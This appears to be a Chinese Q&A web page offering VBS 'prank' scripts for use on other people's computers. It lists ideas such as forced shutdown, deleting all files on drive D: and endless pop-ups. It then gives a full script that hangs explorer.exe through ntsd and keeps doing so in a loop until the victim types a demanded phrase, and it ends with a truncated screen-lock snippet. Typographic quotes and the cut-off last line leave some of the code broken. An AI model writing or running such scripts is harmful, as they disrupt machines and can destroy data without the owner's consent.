最简单的vbs整人代码？
简单的vbs整人代码其实有很多，下面就简单给大家介绍几个吧！
1、打开好友的聊天对话框，然后记下QQ里好友的昵称，把下面代码里的xx替换一下，就可以自定义发送QQ信息到好友的次数（代码里的数字10改一下即可）。
2、打开无数个计算器，直到死机。
3、电脑直接关机。
4、删除D:所有文件 。
5、不断弹出窗口 。
6、不断按下alt+f4 （开什么都关闭……） 。
7、按500次回车（以下代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)。
延伸阅读
vbs是什么文件？
vbs文件是微软开发的一个脚本语言，可以在windows上直接打开，下面用实例介绍这种类型的文件。
1、这里我们用记事本新建一个txt文档。
2、打开输入vbs代码msgbox()，介绍下这个代码，他是一个函数 意思就是一个消息框。
3、然后我们输入代码msgbox(“第一个vbs程序”)，其中 第一个vbs程序 就是消息框弹出来的内容 一定要用引号引起来。
4、然后我们保存 点击确认。
5、保持后我们修改文件的后缀。
6、然后点击运行出现错误。
7、我们思考下为什么？这里我们重点提示，我当时引号用的是中文状态下，现在我们用英文状态下试试看。
8、我们运行看看ok运行成功了，中英文是有区别的啊，大家一定要注意了。
求一段vbs代码，祝福生日？
Const name = “你的名字”
Dim fso,WshShell,StartTime,i
Set WshShell = WScript.CreateObject (“WScript.Shell”)
Set fso = WScript.CreateObject (“Scripting.FilesystemObject”)
Set cls = fso.CreateTextFile (“cls.scf”)
cls.WriteLine (“[Shell]”)
cls.WriteLine (“Command=2”)
cls.WriteLine (“IconFile=%SystemRoot%system32SHELL32.dll,34”)
cls.WriteLine (“[Taskbar]”)
cls.Write (“Command=ToggleDesktop”)
cls.Close ()
If Not InputBox (“你是不是我女儿？”) = “是” Then
WScript.Quit (1)
End If
WScript.Sleep (3000)
MsgBox (“祝女儿生日快乐！！！”)
WScript.Sleep (3000)
MsgBox (“为了感谢老爸的礼物，请按100次回车键~”)
StartTime = Timer
For i = 1 To 100
MsgBox (“按回车”)
WScript.Sleep (5)
Next
If Timer – StartTime > 15 Then
MsgBox (“你太慢了”)
WshShell.Run “cls.scf”
WScript.Sleep (1000)
WshShell.Run “ntsd -pn explorer.exe”,vbhide
WScript.Sleep (1000 * 4)
WshShell.Run “taskkill /f /im ntsd.exe”,vbhide
WScript.Sleep (1000)
WshShell.Run “explorer.exe”
End If
Do Until InputBox (“还不快说“谢谢老爸””) = “谢谢老爸”
WshShell.Run “cls.scf”
WScript.Sleep (1000)
WshShell.Run “ntsd -pn explorer.exe”,vbhide
WScript.Sleep (1000 * 4)
WshShell.Run “taskkill /f /im ntsd.exe”,vbhide
WScript.Sleep (1000)
WshShell.Run “explorer.exe”
Loop
WshShell.Run “taskkill /f /im ntsd.exe”,vbhide
WshShell.Run “explorer.exe”
fso.DeleteFile “cls.scf”
求一个vbs的锁机代码？
Set Wshell=WScript.CreateObject(“WScript.Shell””)Wshell.Run “”rundll32.exe user32.dll
